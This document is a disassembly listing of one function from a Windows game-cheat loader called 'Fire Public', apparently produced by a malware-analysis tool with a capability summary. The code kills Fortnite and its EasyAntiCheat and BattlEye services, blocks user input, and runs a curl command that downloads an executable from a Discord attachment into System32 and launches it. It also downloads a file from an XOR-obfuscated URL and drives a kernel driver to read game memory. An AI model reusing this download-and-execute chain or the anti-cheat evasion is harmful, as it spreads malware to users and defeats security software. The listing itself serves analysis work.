Function at 0x140008770
Capabilities:
Create thread
Download url
Encode data using xor
Enumerate processes
Execute command
Receive data
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x1400d90c0]
xor rax, rsp
mov qword [rbp + 0x140], rax
xor esi, esi
lea rcx, str.Fire_Public
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rdx, str.Connecting...__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009330
lea rcx, [0x1401b7730]
call fcn.14005a550
lea rdx, str.Welcome_to_Fire_Public_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009330
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rdi, rax
lea edx, [rsi + 0xa]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Status:_Undetected_On_EAC__BE_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009330
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400c7030]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea edx, [rsi + 0xe]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea edx, [rsi + 0xa]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Successfully_Logged_In
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009330
lea rdx, [0x140009500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400c7030]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [0x1401b7bf8]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [rsi + 3]
lea rcx, str..pymodule
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbx + 0x10], rax
inc rax
test rax, 0xfffffffffffffffe
jne 0x140008aaf
lea edx, [rsi + 0xe]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Driver_Not_Loaded
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009330
lea rdx, [0x140009500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Fortnite
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140008994
lea edx, [rsi + 0xc]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Fortnite_Is_Open
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009330
lea rdx, [0x140009500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea edx, [rsi + 0xe]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Closing_Fortnite...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009330
lea rdx, [0x140009500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.taskkill__F__IM_FortniteClient_Win64_Shipping.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__F__IM_EasyAntiCheat.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__F__IM_BEService_x64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1171674087479840909_1182744343832952962_maximapper.exe_ex6585cf81is65735a81hm48bb8c796e8e7d2f09d8b2dcb07f6da4b8d8f1b35c89a6acd3e39f0aa61d7e5b___output_C:WindowsSystem32maximapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32maximapper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400c87a0]
movdqu xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1400c8690]
movdqu xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1400c87d0]
movdqu xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1400c8750]
movdqu xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [str.ABBBFCEFJLIKDNQe_3_45h__e89___rpl]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0xf0fbf2ae
mov word [rbp - 0x2c], 0x100
mov rcx, rsi
nop word [rax + rax]
lea eax, [rcx + 0x30]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 0x54
jb 0x140008a10
mov byte [rbp - 0x2b], sil
movdqa xmm0, xmmword [0x1400c8770]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x1400c86a0]
movdqu xmmword [rsp + 0x50], xmm1
mov word [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_35
mov byte [rsp + 0x62], 1
mov rcx, rsi
nop
lea eax, [rcx + 0x30]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x21
jb 0x140008a50
mov byte [rsp + 0x62], sil
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rsp + 0x40]
lea rdx, [rbp - 0x80]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edx, 0xa
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Open_Fortnite_Now
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009330
lea rdx, [0x140009500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Fortnite
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140008af2
nop dword [rax]
nop word [rax + rax]
lea rdx, str.Fortnite
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rbx, rax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x140008ad0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov dword [rbp + 0x10], 0x130
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140008b4a
nop dword [rax + rax]
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp + 0x3c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rcx, rbx
test eax, eax
je 0x140008dcf
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140008b20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
movsxd r9, eax
mov rax, qword [0x1401b7bf8]
mov qword [rax], r9
mov rbx, qword [0x1401b7bf8]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
lea rcx, str..pymodule
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbx + 0x10], rax
mov rcx, qword [0x1401b7bf8]
mov qword [rbp - 0x10], rsi
mov dword [rbp - 0x20], 0xcabd5e5
mov eax, dword [rcx]
mov dword [rbp - 0x1c], eax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x18], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
mov ebx, reloc.WS2_32.dll_recv
mov r9d, ebx
lea r8, [rbp - 0x20]
mov edx, 0x223fb8
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rdx, qword [rbp - 0x10]
mov rax, qword [0x1401b7bf8]
mov qword [rax + 8], rdx
lea rcx, str._p__n
call fcn.1400013b0
lea rdx, str.Fortnite
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [0x1401b76e8]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
test eax, eax
je 0x140008c46
mov eax, dword [0x1401b76f0]
sub eax, dword [0x1401b76e8]
mov dword [0x1401b76e0], eax
mov eax, dword [0x1401b76f4]
sub eax, dword [0x1401b76ec]
mov dword [0x1401b7710], eax
call fcn.14004a3e0
mov edi, eax
mov ecx, 8
call fcn.1400af790
lea rcx, [0x140001fa0]
mov qword [rax], rcx
mov qword [rbp - 0x10], rax
lea rcx, [rbp + 8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x140009630]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp], rax
test rax, rax
je 0x140008e13
cmp dword [rbp + 8], 0
je 0x140008e07
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140008e07
xorps xmm0, xmm0
movdqa xmmword [rbp], xmm0
cmp edi, 1
jne 0x140008dc2
lea rcx, str.win32u
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUserInjectMouseInput
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
jne 0x140008d38
lea rcx, str.user32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUserInjectMouseInput
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
jne 0x140008d38
lea rcx, str.user32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.InjectMouseInput
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
je 0x140008d8d
movups xmm1, xmmword [rcx]
movdqu xmmword [0x1401b79e0], xmm1
movsd xmm0, qword [rcx + 0x10]
movsd qword [0x1401b79f0], xmm0
mov eax, dword [rcx + 0x18]
mov dword [0x1401b79f8], eax
movzx eax, word [rcx + 0x1c]
mov word [0x1401b79fc], ax
movdqa xmm0, xmmword [0x1400c8820]
xorps xmm0, xmm1
movdqu xmmword [0x1401b79e0], xmm0
lea rax, [0x1401b79e0]
nop
xor byte [rbx + rax], 0xfa
inc rbx
cmp rbx, 0x1e
jb 0x140008d80
lea rbx, vtable.std::_Func_impl_no_alloc_void____cdecl___void___void___.0
lea rdi, [0x1400069c0]
nop dword [rax + rax]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x40]
call fcn.14004a6c0
test eax, eax
jne 0x140008da0
cmp dword [rbp + 8], 0
je 0x140008ddd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x18]
jmp 0x140008b55
xor eax, eax
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.1400af770
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 8], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3